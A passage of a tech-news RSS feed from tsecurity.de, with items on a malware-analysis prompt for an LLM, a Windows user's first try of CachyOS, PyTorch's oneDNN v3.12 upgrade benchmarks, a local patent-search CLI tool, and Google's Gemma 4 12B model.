<p><span>Act as a malware analyst by thoroughly examining this decompiled executable code. Methodically break down each step, focusing keenly on understanding the underlying logic and objective. Your task is to craft a detailed summary that encapsulates the code's behavior, pinpointing any malicious functionality. Start with a verdict (Benign or Malicious), then a list of activities including a list of IOCs if any URLs, created files, registry entries, mutex, network activity, etc.</span></p>
<p><span>+[attached decompiled.c.txt sample file]</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows user for years, decided to try Linux(CachyOS) for the first time, mixed feelings.]]></title>
<description><![CDATA[I work in IT support. I've configured over 400 computers running Windows across different environments. My honest take on Windows: if you have three functioning brain cells and can install drivers, it just works. I've had minimal issues. I'm not a Windows fanboy, I'm just someone who values thing...]]></description>
<link>https://tsecurity.de/de/3577022/linux-tipps/windows-user-for-years-decided-to-try-linuxcachyos-for-the-first-time-mixed-feelings/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577022/linux-tipps/windows-user-for-years-decided-to-try-linuxcachyos-for-the-first-time-mixed-feelings/</guid>
<pubDate>Sat, 06 Jun 2026 05:37:59 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I work in IT support. I've configured over 400 computers running Windows across different environments. My honest take on Windows: if you have three functioning brain cells and can install drivers, it just works. I've had minimal issues. I'm not a Windows fanboy, I'm just someone who values things that work without friction.</p> <p>That said, I wanted to give Linux a real shot. I picked CachyOS because of the performance focus and KDE. Here's what happened.</p> <p>The bad (and it's real)...</p> <p>Getting it to boot was a nightmare. BalenaEtcher bricked my USB on first try, switched to Rufus. Then CachyOS flat out refused to boot on my Acer 515-54 (backup device). Tried disabling Secure Boot, changing partition tables, enabling AHCI mode, nothing. Eventually found a niche forum post with a specific command that fixed it. It worked, but that should NOT be the onboarding experience.</p> <p>Bluetooth audio is painful. My Anker headphones sound genuinely bad on Linux. I understand it's a codec issue with HiRes audio, but features like ANC and HiFi mode are just broken. On Windows they work out of the box. This alone is a dealbreaker for daily use or any noob user.</p> <p>Now...</p> <p>I support piracy. </p> <p>Stremio with Real-Debrid was a headache. Add-ons wouldn't install via the desktop app at all, had to use the web version. And then Stremio refused to play audio entirely. Took a good chunk of terminal commands to fix it.</p> <p>On Windows: installed it, opened it, it worked.</p> <p>Gaming is where it really falls apart for me. Soulframe, Ride 5/6, significantly worse than on Windows and also tried star wars fallen order an it didn't open at all. Some other games require setting up Bottles with what feels like a PhD's worth of parameters, just for the game to crash 15 minutes in. The frustrating part? When everything runs, the performance gap is actually small, like 4-5 FPS difference. That's fine. But the setup tax is not.</p> <p>Also, can we stop pretending Windows 11 is unusable? A simple debloat script from GitHub and it runs beautifully lean. My secondary laptop has a GTX 1650 and it handles plenty of games without breaking a sweat. The "Windows is bloated" argument feels outdated if you actually know what you're doing with it.</p> <p>The community in other subreddits was rough. I asked how to install Office 365 on Linux and got buried in responses telling me to use LibreOffice/only office and that I should "ditch Microslop" I just needed Office. For advanced data analysis and complex spreadsheets, the open source alternatives genuinely fall short, that's not an opinion, that's a workflow reality. Same story with the Adobe suite. I wasn't asking for a philosophy debate or a 5 hour guide to get my adobe to work. </p> <p>The good (and it's actually good!)</p> <p>The system feels cleaner and more fluid. Hard to quantify, but it's noticeable.</p> <p>Customization is genuinely excellent. I've always put effort into making Windows look good, but CachyOS/KDE let me go much further in a very satisfying way.</p> <p>Battery life doubled. Not a slight improvement, doubled. That alone is remarkable.</p> <p>Performance doesn't tank when unplugged. On Windows I need to stay plugged in for stable performance. On CachyOS, battery mode barely changed anything. That's impressive.</p> <p>More granular system control. I can tweak things at a level Windows doesn't expose, and it feels good to have that kind of access.</p> <p>Final verdict</p> <p>I'll probably keep Linux on this backup device for indie gaming and on the side for specific use cases, the battery life and unplugged performance are too good to ignore entirely.</p> <p>No hate. Just an honest assessment from someone who actually tried.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Honest_Tart1071"> /u/Honest_Tart1071 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1ty6446/windows_user_for_years_decided_to_try/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1ty6446/windows_user_for_years_decided_to_try/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to actually reduce your screen time: 12 simple, realistic tips to stop doomscrolling]]></title>
<description><![CDATA[Want to spend less time on your phone? We asked psychotherapists, professors and specialists for practical (and achievable) ways to cut down• The best screen-free activitiesEverywhere you look, people are glued to their smartphones. If you haven’t noticed this phenomenon, it’s likely because you,...]]></description>
<link>https://tsecurity.de/de/3572884/it-nachrichten/how-to-actually-reduce-your-screen-time-12-simple-realistic-tips-to-stop-doomscrolling/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3572884/it-nachrichten/how-to-actually-reduce-your-screen-time-12-simple-realistic-tips-to-stop-doomscrolling/</guid>
<pubDate>Thu, 04 Jun 2026 16:16:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Want to spend less time on your phone? We asked psychotherapists, professors and specialists for practical (and achievable) ways to cut down</p><p>• <a href="https://www.theguardian.com/thefilter/2025/apr/17/screen-free-calming-activities"><strong>The best screen-free activities</strong></a></p><p>Everywhere you look, people are glued to their smartphones. If you haven’t noticed this phenomenon, it’s likely because you, too, are glued to the little dopamine-deliverer.</p><p>In March, Meta and YouTube <a href="https://www.theguardian.com/media/2026/mar/25/jury-verdict-us-first-social-media-addiction-trial-meta-youtube">had to pay a combined $6m</a> after a US court found that the tech companies’<strong> </strong>platforms were designed to be addictive. Put such tempting apps in a device that’s carried everywhere, and that’s a recipe for compulsive behaviour.</p> <a href="https://www.theguardian.com/thefilter/2026/jun/04/how-to-reduce-your-screen-time">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[trunk/1e8ad2a0006ce61dbcd0cbeb0f97f2eda8586198: Upgrade submodule oneDNN to v3.12 (#181222)]]></title>
<description><![CDATA[This PR is to upgrade oneDNN to v3.12.
Improvements

Improved performance on future Intel Core Ultra processors with Intel AVX10.2 instruction set support (code name Nova Lake). These optimizations are now enabled by default on compatible processors.
Improved performance on future Intel Xeon proc...]]></description>
<link>https://tsecurity.de/de/3571275/downloads/trunk1e8ad2a0006ce61dbcd0cbeb0f97f2eda8586198-upgrade-submodule-onednn-to-v312-181222/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571275/downloads/trunk1e8ad2a0006ce61dbcd0cbeb0f97f2eda8586198-upgrade-submodule-onednn-to-v312-181222/</guid>
<pubDate>Thu, 04 Jun 2026 04:00:43 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This PR is to upgrade oneDNN to v3.12.</p>
<h2>Improvements</h2>
<ul>
<li>Improved performance on future Intel Core Ultra processors with Intel AVX10.2 instruction set support (code name Nova Lake). These optimizations are now enabled by default on compatible processors.</li>
<li>Improved performance on future Intel Xeon processors with Intel AVX10.2 and Intel AMX instruction set support (code name Diamond Rapids). These optimizations are now enabled by default on compatible processors.</li>
<li>Introduced initial performance optimizations for future integrated GPUs based on Xe3p-LPG architecture.</li>
<li>Introduced initial performance optimizations for future discrete GPUs based on Xe3p-XPC architecture. This is a preview functionality not recommended for production use.</li>
<li>Improved f16 matmul performance on Intel Arc Graphics for Intel Core Ultra processor Series 3 (formerly Panther Lake).</li>
<li>Improved matmul and convolution performance on Arm Neoverse V2 cores.</li>
</ul>
<h2>Validation results on Xeon CPU</h2>
<ol>
<li>Dynamo benchmarks</li>
</ol>
<p>The test results are based on the 3 dynamo benchmark suites with three data types.</p>
<table>
<thead>
<tr>
<th>Precision</th>
<th>Shape</th>
<th>Wrapper</th>
<th>Thread</th>
<th>Eager Ratio (3.12/3.11.2)</th>
<th>Inductor Ratio (3.12/3.11.2)</th>
</tr>
</thead>
<tbody>
<tr>
<td>FP32</td>
<td>Static</td>
<td>cpp</td>
<td>Multiple</td>
<td>0.9938</td>
<td>0.9999</td>
</tr>
<tr>
<td>FP32</td>
<td>Static</td>
<td>cpp</td>
<td>Single</td>
<td>0.9970</td>
<td>0.9967</td>
</tr>
<tr>
<td>AMP_BF16</td>
<td>Static</td>
<td>cpp</td>
<td>Multiple</td>
<td>1.0098</td>
<td>1.0046</td>
</tr>
<tr>
<td>AMP_BF16</td>
<td>Static</td>
<td>cpp</td>
<td>Single</td>
<td>1.0042</td>
<td>1.0068</td>
</tr>
<tr>
<td>AMP_FP16</td>
<td>Static</td>
<td>cpp</td>
<td>Multiple</td>
<td>0.9998</td>
<td>0.9990</td>
</tr>
<tr>
<td>AMP_FP16</td>
<td>Static</td>
<td>cpp</td>
<td>Single</td>
<td>1.0032</td>
<td>1.0027</td>
</tr>
</tbody>
</table>
<h2>Validation results on Intel B60</h2>
<p>Shows <strong>NO verified blocker</strong> attributable to the oneDNN v3.12 upgrade.</p>
<table>
<thead>
<tr>
<th>Area</th>
<th align="right">Total</th>
<th>v3.12</th>
<th>v3.11.2</th>
<th>Verdict</th>
</tr>
</thead>
<tbody>
<tr>
<td>UT</td>
<td align="right">296K</td>
<td><strong>99.7374%</strong> pass rate</td>
<td>99.7360% pass rate</td>
<td>No verified regressions</td>
</tr>
<tr>
<td>Accuracy</td>
<td align="right">1903</td>
<td><strong>89.86%</strong> pass rate</td>
<td>89.70% pass rate</td>
<td>No verified regressions</td>
</tr>
<tr>
<td>Performance</td>
<td align="right">1767</td>
<td>0.994x inductor / <strong>1.008x</strong> eager</td>
<td>1.0000x / 1.0000x</td>
<td>No verified sustained drops</td>
</tr>
</tbody>
</table>
<p>Note: All data are based on release/2.12 with oneDNN change <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4417880832" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/183248" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/183248/hovercard" href="https://github.com/pytorch/pytorch/pull/183248">#183248</a></p>
<p>UT scope owned by <a href="https://github.com/intel/torch-xpu-ops">https://github.com/intel/torch-xpu-ops</a><br>
Dynamo benchmark scope</p>
<ul>
<li>huggingface (~ 46 models), timm_models (~ 61 models), torchbench (~77 train, ~99 inf)</li>
<li>float32, float16, bfloat16, amp fp16, amp bf16</li>
<li>inference, training</li>
</ul>
<h2>Validation results on AArch64</h2>
<p>See below for a breakdown of Arm Neoverse-V1 and Arm Neoverse-V2 performance for a set of NLP, Torchbench, and Dynamo model configurations. We see large improvements for most BF16 + Int8 configurations.</p>
<p><strong>Arm Neoverse-V1 - NLP - FP32 - 16 Threads:</strong></p>
<table>
<thead>
<tr>
<th>latency geomean (lower is better)</th>
</tr>
</thead>
<tbody>
<tr>
<td>1.000</td>
</tr>
</tbody>
</table>
<p> <strong>Arm Neoverse-V2 - NLP - FP32 - 16 Threads:</strong></p>
<table>
<thead>
<tr>
<th>latency geomean (lower is better)</th>
</tr>
</thead>
<tbody>
<tr>
<td>0.997</td>
</tr>
</tbody>
</table>
<p><strong>Arm Neoverse-V1 - Torchbench - 16 Threads:</strong></p>
<table>
<thead>
<tr>
<th>Mode</th>
<th>Precision</th>
<th>Throughput Geomean (Higher is Better)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Eager</td>
<td>AMP_BF16</td>
<td>1.0058</td>
</tr>
<tr>
<td>Eager</td>
<td>FP32</td>
<td>1.0017</td>
</tr>
<tr>
<td>Eager</td>
<td>INT8</td>
<td>1.0519</td>
</tr>
<tr>
<td>TorchScript</td>
<td>AMP_BF16</td>
<td>1.5880</td>
</tr>
<tr>
<td>TorchScript</td>
<td>FP32</td>
<td>1.0027</td>
</tr>
</tbody>
</table>
<p> <strong>Arm Neoverse-V2 - Torchbench - 16 Threads:</strong></p>
<table>
<thead>
<tr>
<th>Mode</th>
<th>Precision</th>
<th>Throughput Geomean (Higher is Better)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Eager</td>
<td>AMP_BF16</td>
<td>1.0102</td>
</tr>
<tr>
<td>Eager</td>
<td>FP32</td>
<td>1.0022</td>
</tr>
<tr>
<td>Eager</td>
<td>INT8</td>
<td>1.0177</td>
</tr>
<tr>
<td>TorchScript</td>
<td>AMP_BF16</td>
<td>1.6058</td>
</tr>
<tr>
<td>TorchScript</td>
<td>FP32</td>
<td>1.0449</td>
</tr>
</tbody>
</table>
<p><strong>Arm Neoverse-V1 - Dynamo (16 threads):</strong></p>
<table>
<thead>
<tr>
<th>Suite</th>
<th>Compiler</th>
<th>Data Type</th>
<th>Shape</th>
<th>Latency Geomean (Lower is Better)</th>
</tr>
</thead>
<tbody>
<tr>
<td>huggingface</td>
<td>eager</td>
<td>AMP_BF16</td>
<td>dynamic</td>
<td>1.0021</td>
</tr>
<tr>
<td>huggingface</td>
<td>eager</td>
<td>AMP_BF16</td>
<td>static</td>
<td>1.0016</td>
</tr>
<tr>
<td>huggingface</td>
<td>eager</td>
<td>FP32</td>
<td>dynamic</td>
<td>1.0021</td>
</tr>
<tr>
<td>huggingface</td>
<td>eager</td>
<td>FP32</td>
<td>static</td>
<td>1.0001</td>
</tr>
<tr>
<td>huggingface</td>
<td>inductor</td>
<td>AMP_BF16</td>
<td>dynamic</td>
<td>1.0007</td>
</tr>
<tr>
<td>huggingface</td>
<td>inductor</td>
<td>FP32</td>
<td>dynamic</td>
<td>0.9982</td>
</tr>
<tr>
<td>huggingface</td>
<td>inductor</td>
<td>FP32</td>
<td>static</td>
<td>1.0005</td>
</tr>
<tr>
<td>timm</td>
<td>eager</td>
<td>AMP_BF16</td>
<td>dynamic</td>
<td>0.9947</td>
</tr>
<tr>
<td>timm</td>
<td>eager</td>
<td>AMP_BF16</td>
<td>static</td>
<td>0.9954</td>
</tr>
<tr>
<td>timm</td>
<td>eager</td>
<td>FP32</td>
<td>dynamic</td>
<td>0.9978</td>
</tr>
<tr>
<td>timm</td>
<td>eager</td>
<td>FP32</td>
<td>static</td>
<td>1.0055</td>
</tr>
<tr>
<td>timm</td>
<td>inductor</td>
<td>AMP_BF16</td>
<td>dynamic</td>
<td>0.9994</td>
</tr>
<tr>
<td>timm</td>
<td>inductor</td>
<td>AMP_BF16</td>
<td>static</td>
<td>0.9937</td>
</tr>
<tr>
<td>timm</td>
<td>inductor</td>
<td>FP32</td>
<td>dynamic</td>
<td>1.0001</td>
</tr>
<tr>
<td>timm</td>
<td>inductor</td>
<td>FP32</td>
<td>static</td>
<td>1.0002</td>
</tr>
<tr>
<td>torchbench</td>
<td>eager</td>
<td>AMP_BF16</td>
<td>dynamic</td>
<td>0.9880</td>
</tr>
<tr>
<td>torchbench</td>
<td>eager</td>
<td>AMP_BF16</td>
<td>static</td>
<td>0.9998</td>
</tr>
<tr>
<td>torchbench</td>
<td>eager</td>
<td>FP32</td>
<td>dynamic</td>
<td>1.0241</td>
</tr>
<tr>
<td>torchbench</td>
<td>eager</td>
<td>FP32</td>
<td>static</td>
<td>1.0072</td>
</tr>
<tr>
<td>torchbench</td>
<td>inductor</td>
<td>AMP_BF16</td>
<td>dynamic</td>
<td>0.9935</td>
</tr>
<tr>
<td>torchbench</td>
<td>inductor</td>
<td>AMP_BF16</td>
<td>static</td>
<td>0.9758</td>
</tr>
<tr>
<td>torchbench</td>
<td>inductor</td>
<td>FP32</td>
<td>dynamic</td>
<td>0.9964</td>
</tr>
<tr>
<td>torchbench</td>
<td>inductor</td>
<td>FP32</td>
<td>static</td>
<td>1.0050</td>
</tr>
</tbody>
</table>
<p><strong>Arm Neoverse-V2 - Dynamo: (16 threads)</strong></p>
<table>
<thead>
<tr>
<th>Suite</th>
<th>Compiler</th>
<th>Data Type</th>
<th>Shape</th>
<th>Latency Geomean (Lower is Better)</th>
</tr>
</thead>
<tbody>
<tr>
<td>huggingface</td>
<td>eager</td>
<td>AMP_BF16</td>
<td>dynamic</td>
<td>1.0092</td>
</tr>
<tr>
<td>huggingface</td>
<td>eager</td>
<td>AMP_BF16</td>
<td>static</td>
<td>1.0024</td>
</tr>
<tr>
<td>huggingface</td>
<td>eager</td>
<td>FP32</td>
<td>dynamic</td>
<td>1.0013</td>
</tr>
<tr>
<td>huggingface</td>
<td>eager</td>
<td>FP32</td>
<td>static</td>
<td>1.0004</td>
</tr>
<tr>
<td>huggingface</td>
<td>inductor</td>
<td>AMP_BF16</td>
<td>dynamic</td>
<td>1.0041</td>
</tr>
<tr>
<td>huggingface</td>
<td>inductor</td>
<td>FP32</td>
<td>dynamic</td>
<td>1.0017</td>
</tr>
<tr>
<td>huggingface</td>
<td>inductor</td>
<td>FP32</td>
<td>static</td>
<td>0.9990</td>
</tr>
<tr>
<td>timm</td>
<td>eager</td>
<td>AMP_BF16</td>
<td>dynamic</td>
<td>1.0002</td>
</tr>
<tr>
<td>timm</td>
<td>eager</td>
<td>AMP_BF16</td>
<td>static</td>
<td>0.9997</td>
</tr>
<tr>
<td>timm</td>
<td>eager</td>
<td>FP32</td>
<td>dynamic</td>
<td>0.9897</td>
</tr>
<tr>
<td>timm</td>
<td>eager</td>
<td>FP32</td>
<td>static</td>
<td>0.9920</td>
</tr>
<tr>
<td>timm</td>
<td>inductor</td>
<td>AMP_BF16</td>
<td>dynamic</td>
<td>0.9854</td>
</tr>
<tr>
<td>timm</td>
<td>inductor</td>
<td>AMP_BF16</td>
<td>static</td>
<td>0.9911</td>
</tr>
<tr>
<td>timm</td>
<td>inductor</td>
<td>FP32</td>
<td>dynamic</td>
<td>0.9861</td>
</tr>
<tr>
<td>timm</td>
<td>inductor</td>
<td>FP32</td>
<td>static</td>
<td>1.0039</td>
</tr>
<tr>
<td>torchbench</td>
<td>eager</td>
<td>AMP_BF16</td>
<td>dynamic</td>
<td>1.0025</td>
</tr>
<tr>
<td>torchbench</td>
<td>eager</td>
<td>AMP_BF16</td>
<td>static</td>
<td>0.9903</td>
</tr>
<tr>
<td>torchbench</td>
<td>eager</td>
<td>FP32</td>
<td>dynamic</td>
<td>0.9958</td>
</tr>
<tr>
<td>torchbench</td>
<td>eager</td>
<td>FP32</td>
<td>static</td>
<td>0.9946</td>
</tr>
<tr>
<td>torchbench</td>
<td>inductor</td>
<td>AMP_BF16</td>
<td>dynamic</td>
<td>0.9903</td>
</tr>
<tr>
<td>torchbench</td>
<td>inductor</td>
<td>AMP_BF16</td>
<td>static</td>
<td>0.9614</td>
</tr>
<tr>
<td>torchbench</td>
<td>inductor</td>
<td>FP32</td>
<td>dynamic</td>
<td>0.9953</td>
</tr>
<tr>
<td>torchbench</td>
<td>inductor</td>
<td>FP32</td>
<td>static</td>
<td>0.9979</td>
</tr>
</tbody>
</table>
<p>Pull Request resolved: <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4314059916" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/181222" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/181222/hovercard" href="https://github.com/pytorch/pytorch/pull/181222">#181222</a><br>
Approved by: <a href="https://github.com/malfet">https://github.com/malfet</a>, <a href="https://github.com/atalman">https://github.com/atalman</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[patent v0.2.0, i actually listened this time]]></title>
<description><![CDATA[Posted patent here a couple days ago and got way more feedback than I expected so thanks for that, even the rough kind. First post got some fair criticism and some not so fair(!), either way this is me acting on the fair part. 0.2.0 has the two things people kept bringing up. It still runs fully ...]]></description>
<link>https://tsecurity.de/de/3571250/linux-tipps/patent-v020-i-actually-listened-this-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571250/linux-tipps/patent-v020-i-actually-listened-this-time/</guid>
<pubDate>Thu, 04 Jun 2026 03:54:20 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p><a href="https://www.reddit.com/r/linux/comments/1tuiw3c/patent_a_terminal_tool_that_searches_11/?utm_source=share&amp;utm_medium=web3x&amp;utm_name=web3xcss&amp;utm_term=1&amp;utm_content=share_button">Posted patent here a couple days ago</a> and got way more feedback than I expected so thanks for that, even the rough kind. First post got some fair criticism and some not so fair(!), either way this is me acting on the fair part. 0.2.0 has the two things people kept bringing up.</p> <p>It still runs fully offline by default, ollama and the embeddings are both local, nothing phones home. the verdict just isn't locked to ollama anymore. you can point it at anything that speaks the openAI API now with <code>--api-base</code> and <code>--api-key</code> (or <code>OPENAI_API_KEY</code>), so LM Studio, vLLM, openRouter, wtv you run. and if you don't want an LLM anywhere near it, <code>--fast</code> skips that whole step and just hands you the ranked list.</p> <p><code>patent "your idea" --api-base [https://openrouter.ai/api/v1](https://openrouter.ai/api/v1) --api-key sk-... --model qwen/qwen-2.5-7b-instruct</code></p> <p>The other thing I fixed, it could pull up a near identical match and still act like nothing was there, the patent crate finding itself and then telling me to go build it was the best example of that. The open/crowded score always came from the embeddings, it was the headline text that could drift off it, so now a strong match floors the verdict and it can't say "open" over something that clearly already ships.</p> <p>On the AI thing, I understand you lot, yeah it's partly AI assisted and Im not gonna pretend otherwise. It's open and it has tests (that do get approved by me, I try to test what I publish as much/thoroughly) as possible, so... yeah, hit me with more feedback.</p> <p>The issues and PR s, Im reading all of them. Someone already sent a Nix flake one. After that? prebuilt binaries and an install script so you don't need the whole Rust toolchain just to try it. a couple people on Fedora hit missing build deps (openssl-devel, gcc-c++) so thats getting documented too. more sources after that, AUR and Nixpkgs came up a ton.</p> <p>Repo: <a href="https://github.com/r14dd/patent">https://github.com/r14dd/patent</a></p> <p>Crate: <a href="https://crates.io/crates/patent">https://crates.io/crates/patent</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/r14dd"> /u/r14dd </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1tw24yd/patent_v020_i_actually_listened_this_time/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1tw24yd/patent_v020_i_actually_listened_this_time/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google's new open source Gemma 4 12B analyzes audio, video — and runs entirely locally on a typical 16GB enterprise laptop]]></title>
<description><![CDATA[While many AI open source model providers are pursuing larger and more powerful models, Google is still giving attention to the smaller, more local side of the market. Today, the tech giant released Gemma 4 12B, an 11.95-billion-parameter open-weights model with permissive Apache 2.0 license opti...]]></description>
<link>https://tsecurity.de/de/3570818/it-nachrichten/googles-new-open-source-gemma-4-12b-analyzes-audio-video-and-runs-entirely-locally-on-a-typical-16gb-enterprise-laptop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570818/it-nachrichten/googles-new-open-source-gemma-4-12b-analyzes-audio-video-and-runs-entirely-locally-on-a-typical-16gb-enterprise-laptop/</guid>
<pubDate>Wed, 03 Jun 2026 23:02:39 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>While many AI open source model providers are pursuing larger and more powerful models, Google is still giving attention to the smaller, more local side of the market. Today, the <a href="https://blog.google/innovation-and-ai/technology/developers-tools/introducing-gemma-4-12B/">tech giant released Gemma 4 12B</a>, an 11.95-billion-parameter open-weights model with permissive Apache 2.0 license optimized to execute locally on a standard enterprise laptop using just 16GB of VRAM or unified memory.</p><p>That means those enterprise users looking to keep working with AI while on a flight without WiFi, or trying to keep it offline for security reasons, can now do so far more easily and at far less cost (free to download and operate). </p><p>Gemma 4 12B's most notable breakthrough is an encoder-free "Unified" architecture, which allows raw audio waveforms and visual patches to flow directly into the core LLM backbone without the latency or memory overhead of secondary processing modules. </p><p>Available immediately for download on <a href="https://huggingface.co/google/gemma-4-12B-it">Hugging Face</a> and <a href="https://www.kaggle.com/models/google/gemma-4">Kaggle</a> and for use on <a href="https://developers.google.com/edge/gallery">Google AI Edge Gallery</a>, Gemma 4 12B packs a 256K token context window, native agentic tool-use capabilities, and an explicit step-by-step reasoning mode into a highly optimized footprint that bridges the gap between mobile edge models and heavy data-center infrastructure.</p><h2><b>The Architectural Shift: Understanding the Encoder-Free Advantage</b></h2><p>Gemma 4 12B is highly relevant to enterprise architecture due to its novel "Unified" structure. </p><p>Traditional multimodal systems typically utilize discrete, separate encoders to translate audio waveforms and visual data into representations that the core language model can process. </p><p>This conventional approach inherently increases both inference latency and total memory consumption.</p><p>Gemma 4 12B radically alters this pipeline by functioning entirely without these secondary encoders. Instead, visual patches and raw audio waveforms are projected directly into the core large language model's embedding space through lightweight linear layers. </p><p>The vision encoder is replaced by a 35-million-parameter module utilizing a single matrix multiplication, while the audio encoder is eliminated entirely. </p><p>For enterprise engineering teams, this unified architecture delivers distinct operational advantages: lower latency for multimodal tasks, reduced VRAM requirements (down to 16GB — typical for laptops), and the ability to fine-tune the entire multimodal system in a single, cohesive pass.</p><h2><b>Performance Metrics and Core Capabilities</b></h2><p>Despite its compact size, Gemma 4 12B achieves benchmarks nearing Google's larger 26B Mixture-of-Experts model.</p><p>Beyond static benchmarks, the model supports a massive 256K token context window. This is critical for enterprises needing to process lengthy financial reports, extensive code repositories, or hour-long meeting transcripts. </p><p>Furthermore, Gemma 4 12B includes a native "thinking" mode to map out step-by-step reasoning before generating a response. It also features out-of-the-box support for native function calling and system prompts, which are essential prerequisites for building highly capable autonomous software agents.</p><h2><b>The Enterprise Verdict: Should You Adopt Gemma 4 12B?</b></h2><p>The short answer is yes, provided your operational needs align with edge computing, strict data privacy, or agentic automation. However, adoption should not be a blanket replacement for all existing AI infrastructure. Instead, technical leaders should view Gemma 4 12B as a specialized tool optimized for specific deployment conditions.</p><ul><li><p><b>Strict Data Privacy and Compliance Mandates</b>: Many enterprises operate in highly regulated sectors—such as healthcare, finance, or defense—where transmitting sensitive data, proprietary code, or confidential internal documents to third-party APIs is unacceptable. Because Gemma 4 12B is small enough to run locally on machines equipped with just 16GB of VRAM or unified memory, organizations can process sensitive multimodal data entirely on-premises or directly on employee laptops. This local execution eliminates the risk of data leakage and ensures compliance with strict regulatory frameworks.</p></li><li><p><b>Multimodal Autonomous Agent Workflows</b>: If your engineering roadmap involves autonomous agents interacting with real-world inputs, Gemma 4 12B is uniquely positioned to serve as the reasoning engine. The combination of native function calling, robust coding capabilities, and the capacity to ingest real-time audio and variable-resolution images makes it highly suitable for agentic tasks. Google has simultaneously released a dedicated Gemma Skills Repository to explicitly support agentic development with these new models.</p></li><li><p><b>Cost-Sensitive Edge Deployments</b>: For applications operating at the edge—such as retail inventory monitoring via cameras, localized customer service kiosks, or offline field-service applications—maintaining a persistent cloud connection is costly and sometimes impossible. The encoder-free architecture significantly lowers the total cost of ownership by reducing the hardware threshold needed for inference. Deploying a highly capable 12B model locally avoids recurring API costs and unpredictable cloud compute billing.</p></li></ul><h2><b>When to Consider Alternative Solutions</b></h2><p>While Gemma 4 12B is powerful, it has specific constraints that technical leaders must acknowledge.</p><ul><li><p><b>Massive Knowledge Retrieval</b>: Like all large language models, Gemma 4 12B is a reasoning engine, not a static database. If your primary use case relies on vast, generalized factual retrieval without leveraging a robust Retrieval-Augmented Generation pipeline, you may still require larger foundation models.</p></li><li><p><b>Extended Video and Audio Processing</b>: The model has hard limits on media ingestion. Audio inputs are strictly capped at 30 seconds of processing, and video understanding is limited to 60 seconds (assuming a processing rate of one frame per second). Enterprises looking to process feature-length videos or massive audio archives natively will hit bottlenecks and should consider API-based models or chunking architectures.</p></li></ul><h2><b>Implementation and Ecosystem Readiness</b></h2><p>One of the strongest arguments for enterprise adoption is the model's immediate compatibility with the broader open-source development ecosystem. </p><p>Google has ensured that Gemma 4 12B is not an isolated experiment; it is ready for production. Weights are available on Hugging Face and Kaggle, and the <a href="https://x.com/googleaidevs/status/2062204434608771080">model integrates seamlessly</a> with industry-standard deployment frameworks such as vLLM, SGLang, MLX, and llama.cpp. </p><p>For organizations deeply embedded in Google Cloud, endpoints can be spun up quickly using the Gemini Enterprise Agent Platform Model Garden, Cloud Run, or Google Kubernetes Engine.</p><p>For enterprise leaders aiming to decentralize their AI workloads, Gemma 4 12B offers a rare combination of edge-friendly efficiency and frontier-class reasoning. If your organization requires highly private, multimodal processing without the latency and cost of cloud reliance, Gemma 4 12B should be heavily evaluated for your next production pipeline.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I tested Microsoft Copilot Health with my real medical records - here's my verdict]]></title>
<description><![CDATA[By sharing your health history and records with Copilot, the AI aims to better address your own medical questions. But what are the downsides?]]></description>
<link>https://tsecurity.de/de/3570360/it-security-nachrichten/i-tested-microsoft-copilot-health-with-my-real-medical-records-heres-my-verdict/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570360/it-security-nachrichten/i-tested-microsoft-copilot-health-with-my-real-medical-records-heres-my-verdict/</guid>
<pubDate>Wed, 03 Jun 2026 19:08:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[By sharing your health history and records with Copilot, the AI aims to better address your own medical questions. But what are the downsides?]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI wants me to switch back to Windows]]></title>
<description><![CDATA[Author: NetworkChuck - Bewertung: 138x - Views:2229 Try OpenAI Codex on Windows (it's native now): https://ntck.co/codex

I gave an AI control of my Windows PC. OpenAI made the Codex app Windows-native — it lives in PowerShell, and they built their own Windows security sandbox in 15,000 lines of ...]]></description>
<link>https://tsecurity.de/de/3563980/it-security-video/openai-wants-me-to-switch-back-to-windows/</link>
